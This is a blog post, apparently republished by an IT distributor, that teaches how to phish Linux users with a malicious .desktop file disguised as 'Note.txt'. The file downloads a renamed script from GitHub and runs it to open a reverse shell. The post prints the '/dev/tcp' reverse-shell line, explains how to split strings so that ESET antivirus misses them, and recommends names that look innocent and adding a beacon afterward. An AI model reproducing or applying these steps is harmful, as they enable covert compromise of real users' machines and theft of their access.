{"id":59348,"date":"2022-11-02T16:16:44","date_gmt":"2022-11-02T08:16:44","guid":{"rendered":"https:\/\/version-2.com\/?p=59348"},"modified":"2023-07-24T18:42:07","modified_gmt":"2023-07-24T10:42:07","slug":"phishing-linux-users-with-zero-detection","status":"publish","type":"post","link":"https:\/\/version-2.com\/en\/2022\/11\/phishing-linux-users-with-zero-detection\/","title":{"rendered":"Phishing Linux Users with Zero Detection!"},"content":{"rendered":"\t\t
\n\t\t\t\t\t\t
\n\t\t\t\t\t\t
\n\t\t\t\t\t
\n\t\t\t
\n\t\t\t\t\t\t
\n\t\t\t\t
\n\t\t\t\t\t\t\t\t\t

<\/span><\/p>

Introduction<\/strong><\/span><\/h1>

All the phishing campaigns that attackers perform are on windows users and that’s normal as\u00a0Windows<\/code>\u00a0widely used operating system. But, we will see how to perform phishing on\u00a0Linux<\/code>users effectively & undetectable through the\u00a0.desktop \"Desktop Entry\"<\/code>\u00a0file and deliver our payload through trusted websites such as (Github<\/code>&Gitlab<\/code>). Also, We will run our\u00a0Destop Entry<\/code>\u00a0on\u00a0Ubuntu<\/code>\u00a0machine and the\u00a0Eset nod32<\/code>\u00a0Anti-Virus is installed & running.<\/span><\/p>

What is .desktop “Desktop Entry” file ?<\/strong><\/span><\/h1>

Basically,\u00a0.desktop<\/code>\u00a0file is like a shortcut file in\u00a0windows<\/code>\u00a0for\u00a0Linux<\/code>\u00a0, Therefore, you can use it to indicate to an application and once the\u00a0.desktop<\/code>\u00a0file executed it will run the application that the file points to it. Now, We can create a custom\u00a0.desktop<\/code>\u00a0file and make it indicate to the\u00a0\/bin\/sh<\/code>\u00a0which is the Linux shell and execute commands to download the payload, or just connect out the target to our server & receive a shell.<\/span><\/p>

Desktop Entry Basics<\/strong><\/span><\/h1>

We gonna cover some basic syntax and don’t worry it’s not complicated at all & it’s very simple. So, as any code you have to define the start point in the file and we doing it using\u00a0[Desktop Entry]<\/code>\u00a0as the first line into the file (You can create a file and name it name.desktop and start writing into it<\/code>) . The\u00a0Desktop Entry<\/code>\u00a0files syntax basically can be considered as a key & value (e.x:Name=AppName \"Key=Value\"<\/code>\u00a0). The\u00a0Key<\/code>\u00a0is defined before in the\u00a0Desktop Entry<\/code>\u00a0syntax and each one has a specific role & the value is given by the user.<\/span><\/p>

Now, let’s discover the Keys:<\/span><\/p>

Name<\/code>: Set the name of the file.<\/span><\/p>

Type<\/code>: The type of the\u00a0Desktop Entry<\/code>\u00a0(The file type could be 3 things\u00a0Application<\/code>,Link<\/code>andDirectory<\/code>)<\/span><\/p>

each\u00a0Type<\/code>\u00a0of a\u00a0Desktop Entry<\/code>\u00a0takes different\u00a0Keys<\/code>. The\u00a0Application<\/code>\u00a0takes a path to the program will be run, Also it can carry arguments related to the program (e.x:\/bin\/sh -c \"touch \/tmp\/testfile\"<\/code>).<\/span><\/p>

Version<\/code>: The Version of the Entry file.<\/span><\/p>

Icon<\/code>: Desktop File icon to display.<\/span><\/p>

Exec<\/code>: The path of the program to run (including the arguments as well<\/code>) .<\/span><\/p>

We will not be using a lot of\u00a0keys<\/code>\u00a0for our file. If you wanna know more\u00a0keys<\/code>& more details you can check it out from\u00a0Here<\/a>.<\/span><\/p>

Now, Before we start creating our file, Let’s get our payload ready on payload ready on github.<\/span><\/p>

Host the payload on github & gitlab<\/strong><\/span><\/h1>

As github and gitlab are a trusted organization we will be able to make sure that our payload will be delivered successfully (Note:Maybe github or gitlab be blocked in some organizations \"Rarely happen\"<\/code>) . Now, i am gonna use\u00a0github\u00a0<\/code>for explaining but at all you can use\u00a0github<\/code>orgitlab<\/code>. First thing is to create a new\u00a0repository<\/em>\u00a0and give it a non-suspicious name (e.x: don’t use\u00a0Myshell<\/code>,Payload<\/code>,\u00a0reverse<\/code>,bind<\/code>\u00a0and so on) instead use normal and known names “Not just for the repository. But, also for our payload name” and also for the file extension. As we are targeting\u00a0Linux<\/code>\u00a0users, We can run the\u00a0payload<\/code>\u00a0from the shell as the following\u00a0.\/app.ext<\/code>\u00a0no matter the extension is\u00a0elf<\/code>\u00a0or whatever.<\/span><\/p>

<\/span><\/p>

I named the\u00a0repository<\/em>\u00a0VsocietySolution<\/code>\u00a0& A short description. Then, created the\u00a0repository<\/code>\u00a0. Now, i will create a new shell file which contains some scripting codes, including\u00a0bash -i >& \/dev\/tcp\/$Nothin\/$Nothing 0>&1<\/code>\u00a0which basically run interactive bash shell and connect to us through the\u00a0\/dev\/tcp<\/code>\u00a0(you can use\u00a0udp<\/code>\u00a0instead of\u00a0tcp<\/code>) based on what type of protocols you listen on for the connection.<\/span><\/p>

<\/span><\/p>

Here you can see the file and the code. So, what i did here is to little obfuscate in the code and it’s by sperate the\u00a0words<\/code>\u00a0that can be detected by the anti-virus (e.x:bash<\/code>,\/dev\/tcp<\/code>\u00a0or even if the AV performing some regex to detect if there is any IP address). Also, obfuscated the file name itself by changing it to\u00a0access.log<\/code>.<\/span><\/p>

Create\u00a0<\/strong>.desktop<\/code>\u00a0File<\/span><\/h1>

It’s the time to create our malicious\u00a0.desktop<\/code>\u00a0file to deliver it to the victim and as we understand the syntax we will be able to create it easily. Now, create a new file and name it\u00a0any.desktop<\/code>. Then, open it with any text editor you have.<\/span><\/p>

<\/span><\/p>

I named the file\u00a0vsociety.desktop<\/code>and as you can see it says the file is\u00a0Unnamed<\/code>\u00a0we will now add a name for the file and the full code.<\/span><\/p>

<\/span><\/p>

Here I made the name\u00a0Note.txt<\/code>, Then\u00a0Exec<\/code>\u00a0will execute the\u00a0sh<\/code>\u00a0Linux shell and\u00a0-c<\/code>\u00a0argument is for\u00a0command<\/code>\u00a0to be executed by the Linux shell. So, the command that gonna be executed will go to\u00a0tmp<\/code>\u00a0directory and then download our shell script using\u00a0wget<\/code>\u00a0(wget\u00a0<\/code>mostly installed by default on linux systems) Then, it will give the execute permission for our file which is\u00a0access.log<\/code>\u00a0and after that will execute it. At the last line, I choose an Icon to use. But,\u00a0debian<\/code>\u00a0Linux actually set an icon automatically according to file name. And you can find the icon you want to set for the file in the system. Just use\u00a0locate icon | grep text<\/code>\u00a0it will locate files\/paths with the\u00a0icon<\/code>\u00a0word and filter out the one that has the word\u00a0txt<\/code>.<\/span><\/p>

Getting a shell<\/strong><\/span><\/h1>

Now, we will try our malicious file on an updated ubuntu box with\u00a0Eset nod32<\/code>\u00a0Anti-Virus Installed and we will bypass it. First of all let’s start our\u00a0netcat<\/code>listener on our Attacker box, In the shell script file we set 8080 as the connection port. So, we will start our listener on port 8080.<\/span><\/p>

<\/span><\/p>

Our Anti-Virus is running and we will run our file.<\/span><\/p>

<\/span><\/p>

We executed the\u00a0Desktop Enry<\/code>\u00a0file and as the following:<\/span><\/p>

<\/span><\/p>

As can see that our\u00a0access.log<\/code>\u00a0file downloaded and is in the\u00a0\/tmp<\/code>\u00a0directory as we configured the command inside our\u00a0.desktop<\/code>\u00a0file. And the file is executed successfully and we got a shell on the attacker box.<\/span><\/p>

<\/span><\/p>

Conclusion<\/strong><\/span><\/h1>

This was a very easy way to perform phishing on linux users easily without need to develop any malware or having ours in doing research to see an effective way without getting detected, At all you can use the same way to get a shell and after that you could upload your\u00a0beacon<\/code>\u00a0and don’t forget to use non-suspicious names & obfuscation.<\/span><\/p>

#linux #phishing #attack #tutorial<\/span><\/p><\/div>\t\t\t\t\t\t\t\t<\/div>\n\t\t\t\t<\/div>\n\t\t\t\t

\n\t\t\t\t
\n\t\t\t\t\t\t\t
\t\t
\n\t\t\t\t\t\t
\n\t\t\t\t\t\t
\n\t\t\t\t\t
\n\t\t\t
\n\t\t\t\t\t\t
\n\t\t\t\t
\n\t\t\t\t\t

About Version 2 Digital<\/h3>

Version 2 Digital is one of the most dynamic IT companies in Asia. The company distributes a wide range of IT products across various areas including cyber security, cloud, data protection, end points, infrastructures, system monitoring, storage, networking, business productivity and communication products.\n

\nThrough an extensive network of channels, point of sales, resellers, and partnership companies, Version 2 offers quality products and services which are highly acclaimed in the market. Its customers cover a wide spectrum which include Global 1000 enterprises, regional listed companies, different vertical industries, public utilities, Government, a vast number of successful SMEs, and consumers in various Asian cities.<\/p><\/div><\/div>\t\t\t\t<\/div>\n\t\t\t\t<\/div>\n\t\t\t\t\t<\/div>\n\t\t<\/div>\n\t\t\t\t\t<\/div>\n\t\t<\/section>\n\t\t\t\t<\/div>\n\t\t\n\t\t

\n\t\t\t\t\t\t
\n\t\t\t\t\t\t
\n\t\t\t\t\t
\n\t\t\t
\n\t\t\t\t\t\t
\n\t\t\t\t
\n\t\t\t\t\t\t\t\t\t

<\/p>\n

About VRX<\/b>
VRX <\/b>is a consolidated vulnerability management platform that protects assets in real time. Its rich, integrated features efficiently pinpoint and remediate the largest risks to your cyber infrastructure. Resolve the most pressing threats with efficient automation features and precise contextual analysis.<\/p>\t\t\t\t\t\t\t\t<\/div>\n\t\t\t\t<\/div>\n\t\t\t\t\t<\/div>\n\t\t<\/div>\n\t\t\t\t\t<\/div>\n\t\t<\/section>\n\t\t\t\t<\/div>\n\t\t<\/div>\n\t\t\t\t\t\t<\/div>\n\t\t\t\t<\/div>\n\t\t\t\t\t<\/div>\n\t\t<\/div>\n\t\t\t\t\t<\/div>\n\t\t<\/section>\n\t\t\t\t<\/div>\n\t\t","protected":false},"excerpt":{"rendered":"

Introduction All the phishing campaigns that attackers […]<\/p>\n","protected":false},"author":143524195,"featured_media":0,"comment_status":"closed","ping_status":"closed","sticky":false,"template":"","format":"standard","meta":{"_acf_changed":false,"_jetpack_newsletter_access":"","_jetpack_dont_email_post_to_subs":false,"_jetpack_newsletter_tier_id":0,"_jetpack_memberships_contains_paywalled_content":false,"_wpcom_ai_launchpad_first_post":false,"_jetpack_feature_clip_id":0,"_jetpack_memberships_contains_paid_content":false,"footnotes":"","jetpack_post_was_ever_published":false},"categories":[476,488,61],"tags":[477,489],"class_list":["post-59348","post","type-post","status-publish","format-standard","hentry","category-vrx","category-488","category-press-release","tag-vrx","tag-489"],"acf":[],"yoast_head":"\nPhishing Linux Users with Zero Detection! - Version 2<\/title>\n<meta name=\"robots\" content=\"index, follow, max-snippet:-1, max-image-preview:large, max-video-preview:-1\" \/>\n<link rel=\"canonical\" href=\"https:\/\/www.vicarius.io\/blog\/phishing-linux-users-with-zero-detection\" \/>\n<meta property=\"og:locale\" content=\"en_US\" \/>\n<meta property=\"og:type\" content=\"article\" \/>\n<meta property=\"og:title\" content=\"Phishing Linux Users with Zero Detection! - Version 2\" \/>\n<meta property=\"og:description\" content=\"Introduction All the phishing campaigns that attackers […]\" \/>\n<meta property=\"og:url\" content=\"https:\/\/www.vicarius.io\/blog\/phishing-linux-users-with-zero-detection\" \/>\n<meta property=\"og:site_name\" content=\"Version 2\" \/>\n<meta property=\"article:published_time\" content=\"2022-11-02T08:16:44+00:00\" \/>\n<meta property=\"article:modified_time\" content=\"2023-07-24T10:42:07+00:00\" \/>\n<meta property=\"og:image\" content=\"https:\/\/ik.imagekit.io\/14sfaswy6hrz\/blog-posts\/images\/cl9yhe13g2p7b0kmicvbb12z4.png?tr=w-1800,c-at_max\" \/>\n<meta name=\"author\" content=\"version2hk\" \/>\n<meta name=\"twitter:card\" content=\"summary_large_image\" \/>\n<meta name=\"twitter:label1\" content=\"Written by\" \/>\n\t<meta name=\"twitter:data1\" content=\"version2hk\" \/>\n\t<meta name=\"twitter:label2\" content=\"Est. reading time\" \/>\n\t<meta name=\"twitter:data2\" content=\"6 minutes\" \/>\n<script type=\"application\/ld+json\" class=\"yoast-schema-graph\">{\"@context\":\"https:\\\/\\\/schema.org\",\"@graph\":[{\"@type\":\"Article\",\"@id\":\"https:\\\/\\\/www.vicarius.io\\\/blog\\\/phishing-linux-users-with-zero-detection#article\",\"isPartOf\":{\"@id\":\"https:\\\/\\\/version-2.com\\\/2022\\\/11\\\/phishing-linux-users-with-zero-detection\\\/\"},\"author\":{\"name\":\"version2hk\",\"@id\":\"https:\\\/\\\/version-2.com\\\/zh\\\/#\\\/schema\\\/person\\\/d14d2d3cd77ffdb618b9f1330fe084db\"},\"headline\":\"Phishing Linux Users with Zero Detection!\",\"datePublished\":\"2022-11-02T08:16:44+00:00\",\"dateModified\":\"2023-07-24T10:42:07+00:00\",\"mainEntityOfPage\":{\"@id\":\"https:\\\/\\\/version-2.com\\\/2022\\\/11\\\/phishing-linux-users-with-zero-detection\\\/\"},\"wordCount\":944,\"publisher\":{\"@id\":\"https:\\\/\\\/version-2.com\\\/zh\\\/#organization\"},\"image\":{\"@id\":\"https:\\\/\\\/www.vicarius.io\\\/blog\\\/phishing-linux-users-with-zero-detection#primaryimage\"},\"thumbnailUrl\":\"https:\\\/\\\/ik.imagekit.io\\\/14sfaswy6hrz\\\/blog-posts\\\/images\\\/cl9yhe13g2p7b0kmicvbb12z4.png?tr=w-1800,c-at_max\",\"keywords\":[\"vRx\",\"2022\"],\"articleSection\":[\"vRx\",\"2022\",\"Press Release\"],\"inLanguage\":\"en-US\"},{\"@type\":\"WebPage\",\"@id\":\"https:\\\/\\\/version-2.com\\\/2022\\\/11\\\/phishing-linux-users-with-zero-detection\\\/\",\"url\":\"https:\\\/\\\/www.vicarius.io\\\/blog\\\/phishing-linux-users-with-zero-detection\",\"name\":\"Phishing Linux Users with Zero Detection! - Version 2\",\"isPartOf\":{\"@id\":\"https:\\\/\\\/version-2.com\\\/zh\\\/#website\"},\"primaryImageOfPage\":{\"@id\":\"https:\\\/\\\/www.vicarius.io\\\/blog\\\/phishing-linux-users-with-zero-detection#primaryimage\"},\"image\":{\"@id\":\"https:\\\/\\\/www.vicarius.io\\\/blog\\\/phishing-linux-users-with-zero-detection#primaryimage\"},\"thumbnailUrl\":\"https:\\\/\\\/ik.imagekit.io\\\/14sfaswy6hrz\\\/blog-posts\\\/images\\\/cl9yhe13g2p7b0kmicvbb12z4.png?tr=w-1800,c-at_max\",\"datePublished\":\"2022-11-02T08:16:44+00:00\",\"dateModified\":\"2023-07-24T10:42:07+00:00\",\"breadcrumb\":{\"@id\":\"https:\\\/\\\/www.vicarius.io\\\/blog\\\/phishing-linux-users-with-zero-detection#breadcrumb\"},\"inLanguage\":\"en-US\",\"potentialAction\":[{\"@type\":\"ReadAction\",\"target\":[\"https:\\\/\\\/www.vicarius.io\\\/blog\\\/phishing-linux-users-with-zero-detection\"]}]},{\"@type\":\"ImageObject\",\"inLanguage\":\"en-US\",\"@id\":\"https:\\\/\\\/www.vicarius.io\\\/blog\\\/phishing-linux-users-with-zero-detection#primaryimage\",\"url\":\"https:\\\/\\\/ik.imagekit.io\\\/14sfaswy6hrz\\\/blog-posts\\\/images\\\/cl9yhe13g2p7b0kmicvbb12z4.png?tr=w-1800,c-at_max\",\"contentUrl\":\"https:\\\/\\\/ik.imagekit.io\\\/14sfaswy6hrz\\\/blog-posts\\\/images\\\/cl9yhe13g2p7b0kmicvbb12z4.png?tr=w-1800,c-at_max\"},{\"@type\":\"BreadcrumbList\",\"@id\":\"https:\\\/\\\/www.vicarius.io\\\/blog\\\/phishing-linux-users-with-zero-detection#breadcrumb\",\"itemListElement\":[{\"@type\":\"ListItem\",\"position\":1,\"name\":\"\u9996\u9801\",\"item\":\"https:\\\/\\\/version-2.com\\\/\"},{\"@type\":\"ListItem\",\"position\":2,\"name\":\"Phishing Linux Users with Zero Detection!\"}]},{\"@type\":\"WebSite\",\"@id\":\"https:\\\/\\\/version-2.com\\\/zh\\\/#website\",\"url\":\"https:\\\/\\\/version-2.com\\\/zh\\\/\",\"name\":\"Version 2\",\"description\":\"\",\"publisher\":{\"@id\":\"https:\\\/\\\/version-2.com\\\/zh\\\/#organization\"},\"potentialAction\":[{\"@type\":\"SearchAction\",\"target\":{\"@type\":\"EntryPoint\",\"urlTemplate\":\"https:\\\/\\\/version-2.com\\\/zh\\\/?s={search_term_string}\"},\"query-input\":{\"@type\":\"PropertyValueSpecification\",\"valueRequired\":true,\"valueName\":\"search_term_string\"}}],\"inLanguage\":\"en-US\"},{\"@type\":\"Organization\",\"@id\":\"https:\\\/\\\/version-2.com\\\/zh\\\/#organization\",\"name\":\"Version 2\",\"url\":\"https:\\\/\\\/version-2.com\\\/zh\\\/\",\"logo\":{\"@type\":\"ImageObject\",\"inLanguage\":\"en-US\",\"@id\":\"https:\\\/\\\/version-2.com\\\/zh\\\/#\\\/schema\\\/logo\\\/image\\\/\",\"url\":\"https:\\\/\\\/i0.wp.com\\\/version-2.com\\\/wp-content\\\/uploads\\\/2020\\\/08\\\/v2-hk-hor-4.png?fit=1795%2C335&ssl=1\",\"contentUrl\":\"https:\\\/\\\/i0.wp.com\\\/version-2.com\\\/wp-content\\\/uploads\\\/2020\\\/08\\\/v2-hk-hor-4.png?fit=1795%2C335&ssl=1\",\"width\":1795,\"height\":335,\"caption\":\"Version 2\"},\"image\":{\"@id\":\"https:\\\/\\\/version-2.com\\\/zh\\\/#\\\/schema\\\/logo\\\/image\\\/\"}},{\"@type\":\"Person\",\"@id\":\"https:\\\/\\\/version-2.com\\\/zh\\\/#\\\/schema\\\/person\\\/d14d2d3cd77ffdb618b9f1330fe084db\",\"name\":\"version2hk\",\"image\":{\"@type\":\"ImageObject\",\"inLanguage\":\"en-US\",\"@id\":\"https:\\\/\\\/secure.gravatar.com\\\/avatar\\\/d280627252b42d7489de74dd88aa04043a495f25e258575000dc767e287bf94c?s=96&d=identicon&r=g\",\"url\":\"https:\\\/\\\/secure.gravatar.com\\\/avatar\\\/d280627252b42d7489de74dd88aa04043a495f25e258575000dc767e287bf94c?s=96&d=identicon&r=g\",\"contentUrl\":\"https:\\\/\\\/secure.gravatar.com\\\/avatar\\\/d280627252b42d7489de74dd88aa04043a495f25e258575000dc767e287bf94c?s=96&d=identicon&r=g\",\"caption\":\"version2hk\"},\"sameAs\":[\"http:\\\/\\\/version2xfortcom.wordpress.com\"],\"url\":\"https:\\\/\\\/version-2.com\\\/en\\\/author\\\/version2hk\\\/\"}]}<\/script>\n<!-- \/ Yoast SEO plugin. -->","yoast_head_json":{"title":"Phishing Linux Users with Zero Detection! - Version 2","robots":{"index":"index","follow":"follow","max-snippet":"max-snippet:-1","max-image-preview":"max-image-preview:large","max-video-preview":"max-video-preview:-1"},"canonical":"https:\/\/www.vicarius.io\/blog\/phishing-linux-users-with-zero-detection","og_locale":"en_US","og_type":"article","og_title":"Phishing Linux Users with Zero Detection! - Version 2","og_description":"Introduction All the phishing campaigns that attackers […]","og_url":"https:\/\/www.vicarius.io\/blog\/phishing-linux-users-with-zero-detection","og_site_name":"Version 2","article_published_time":"2022-11-02T08:16:44+00:00","article_modified_time":"2023-07-24T10:42:07+00:00","og_image":[{"url":"https:\/\/ik.imagekit.io\/14sfaswy6hrz\/blog-posts\/images\/cl9yhe13g2p7b0kmicvbb12z4.png?tr=w-1800,c-at_max","type":"","width":"","height":""}],"author":"version2hk","twitter_card":"summary_large_image","twitter_misc":{"Written by":"version2hk","Est. reading time":"6 minutes"},"schema":{"@context":"https:\/\/schema.org","@graph":[{"@type":"Article","@id":"https:\/\/www.vicarius.io\/blog\/phishing-linux-users-with-zero-detection#article","isPartOf":{"@id":"https:\/\/version-2.com\/2022\/11\/phishing-linux-users-with-zero-detection\/"},"author":{"name":"version2hk","@id":"https:\/\/version-2.com\/zh\/#\/schema\/person\/d14d2d3cd77ffdb618b9f1330fe084db"},"headline":"Phishing Linux Users with Zero Detection!","datePublished":"2022-11-02T08:16:44+00:00","dateModified":"2023-07-24T10:42:07+00:00","mainEntityOfPage":{"@id":"https:\/\/version-2.com\/2022\/11\/phishing-linux-users-with-zero-detection\/"},"wordCount":944,"publisher":{"@id":"https:\/\/version-2.com\/zh\/#organization"},"image":{"@id":"https:\/\/www.vicarius.io\/blog\/phishing-linux-users-with-zero-detection#primaryimage"},"thumbnailUrl":"https:\/\/ik.imagekit.io\/14sfaswy6hrz\/blog-posts\/images\/cl9yhe13g2p7b0kmicvbb12z4.png?tr=w-1800,c-at_max","keywords":["vRx","2022"],"articleSection":["vRx","2022","Press Release"],"inLanguage":"en-US"},{"@type":"WebPage","@id":"https:\/\/version-2.com\/2022\/11\/phishing-linux-users-with-zero-detection\/","url":"https:\/\/www.vicarius.io\/blog\/phishing-linux-users-with-zero-detection","name":"Phishing Linux Users with Zero Detection! - Version 2","isPartOf":{"@id":"https:\/\/version-2.com\/zh\/#website"},"primaryImageOfPage":{"@id":"https:\/\/www.vicarius.io\/blog\/phishing-linux-users-with-zero-detection#primaryimage"},"image":{"@id":"https:\/\/www.vicarius.io\/blog\/phishing-linux-users-with-zero-detection#primaryimage"},"thumbnailUrl":"https:\/\/ik.imagekit.io\/14sfaswy6hrz\/blog-posts\/images\/cl9yhe13g2p7b0kmicvbb12z4.png?tr=w-1800,c-at_max","datePublished":"2022-11-02T08:16:44+00:00","dateModified":"2023-07-24T10:42:07+00:00","breadcrumb":{"@id":"https:\/\/www.vicarius.io\/blog\/phishing-linux-users-with-zero-detection#breadcrumb"},"inLanguage":"en-US","potentialAction":[{"@type":"ReadAction","target":["https:\/\/www.vicarius.io\/blog\/phishing-linux-users-with-zero-detection"]}]},{"@type":"ImageObject","inLanguage":"en-US","@id":"https:\/\/www.vicarius.io\/blog\/phishing-linux-users-with-zero-detection#primaryimage","url":"https:\/\/ik.imagekit.io\/14sfaswy6hrz\/blog-posts\/images\/cl9yhe13g2p7b0kmicvbb12z4.png?tr=w-1800,c-at_max","contentUrl":"https:\/\/ik.imagekit.io\/14sfaswy6hrz\/blog-posts\/images\/cl9yhe13g2p7b0kmicvbb12z4.png?tr=w-1800,c-at_max"},{"@type":"BreadcrumbList","@id":"https:\/\/www.vicarius.io\/blog\/phishing-linux-users-with-zero-detection#breadcrumb","itemListElement":[{"@type":"ListItem","position":1,"name":"\u9996\u9801","item":"https:\/\/version-2.com\/"},{"@type":"ListItem","position":2,"name":"Phishing Linux Users with Zero Detection!"}]},{"@type":"WebSite","@id":"https:\/\/version-2.com\/zh\/#website","url":"https:\/\/version-2.com\/zh\/","name":"Version 2","description":"","publisher":{"@id":"https:\/\/version-2.com\/zh\/#organization"},"potentialAction":[{"@type":"SearchAction","target":{"@type":"EntryPoint","urlTemplate":"https:\/\/version-2.com\/zh\/?s={search_term_string}"},"query-input":{"@type":"PropertyValueSpecification","valueRequired":true,"valueName":"search_term_string"}}],"inLanguage":"en-US"},{"@type":"Organization","@id":"https:\/\/version-2.com\/zh\/#organization","name":"Version 2","url":"https:\/\/version-2.com\/zh\/","logo":{"@type":"ImageObject","inLanguage":"en-US","@id":"https:\/\/version-2.com\/zh\/#\/schema\/logo\/image\/","url":"https:\/\/i0.wp.com\/version-2.com\/wp-content\/uploads\/2020\/08\/v2-hk-hor-4.png?fit=1795%2C335&ssl=1","contentUrl":"https:\/\/i0.wp.com\/version-2.com\/wp-content\/uploads\/2020\/08\/v2-hk-hor-4.png?fit=1795%2C335&ssl=1","width":1795,"height":335,"caption":"Version 2"},"image":{"@id":"https:\/\/version-2.com\/zh\/#\/schema\/logo\/image\/"}},{"@type":"Person","@id":"https:\/\/version-2.com\/zh\/#\/schema\/person\/d14d2d3cd77ffdb618b9f1330fe084db","name":"version2hk","image":{"@type":"ImageObject","inLanguage":"en-US","@id":"https:\/\/secure.gravatar.com\/avatar\/d280627252b42d7489de74dd88aa04043a495f25e258575000dc767e287bf94c?s=96&d=identicon&r=g","url":"https:\/\/secure.gravatar.com\/avatar\/d280627252b42d7489de74dd88aa04043a495f25e258575000dc767e287bf94c?s=96&d=identicon&r=g","contentUrl":"https:\/\/secure.gravatar.com\/avatar\/d280627252b42d7489de74dd88aa04043a495f25e258575000dc767e287bf94c?s=96&d=identicon&r=g","caption":"version2hk"},"sameAs":["http:\/\/version2xfortcom.wordpress.com"],"url":"https:\/\/version-2.com\/en\/author\/version2hk\/"}]}},"jetpack_sharing_enabled":true,"jetpack_shortlink":"https:\/\/wp.me\/pbQRKm-fre","jetpack_featured_media_url":"","post_mailing_queue_ids":[],"_links":{"self":[{"href":"https:\/\/version-2.com\/en\/wp-json\/wp\/v2\/posts\/59348","targetHints":{"allow":["GET"]}}],"collection":[{"href":"https:\/\/version-2.com\/en\/wp-json\/wp\/v2\/posts"}],"about":[{"href":"https:\/\/version-2.com\/en\/wp-json\/wp\/v2\/types\/post"}],"author":[{"embeddable":true,"href":"https:\/\/version-2.com\/en\/wp-json\/wp\/v2\/users\/143524195"}],"replies":[{"embeddable":true,"href":"https:\/\/version-2.com\/en\/wp-json\/wp\/v2\/comments?post=59348"}],"version-history":[{"count":6,"href":"https:\/\/version-2.com\/en\/wp-json\/wp\/v2\/posts\/59348\/revisions"}],"predecessor-version":[{"id":69472,"href":"https:\/\/version-2.com\/en\/wp-json\/wp\/v2\/posts\/59348\/revisions\/69472"}],"wp:attachment":[{"href":"https:\/\/version-2.com\/en\/wp-json\/wp\/v2\/media?parent=59348"}],"wp:term":[{"taxonomy":"category","embeddable":true,"href":"https:\/\/version-2.com\/en\/wp-json\/wp\/v2\/categories?post=59348"},{"taxonomy":"post_tag","embeddable":true,"href":"https:\/\/version-2.com\/en\/wp-json\/wp\/v2\/tags?post=59348"}],"curies":[{"name":"wp","href":"https:\/\/api.w.org\/{rel}","templated":true}]}}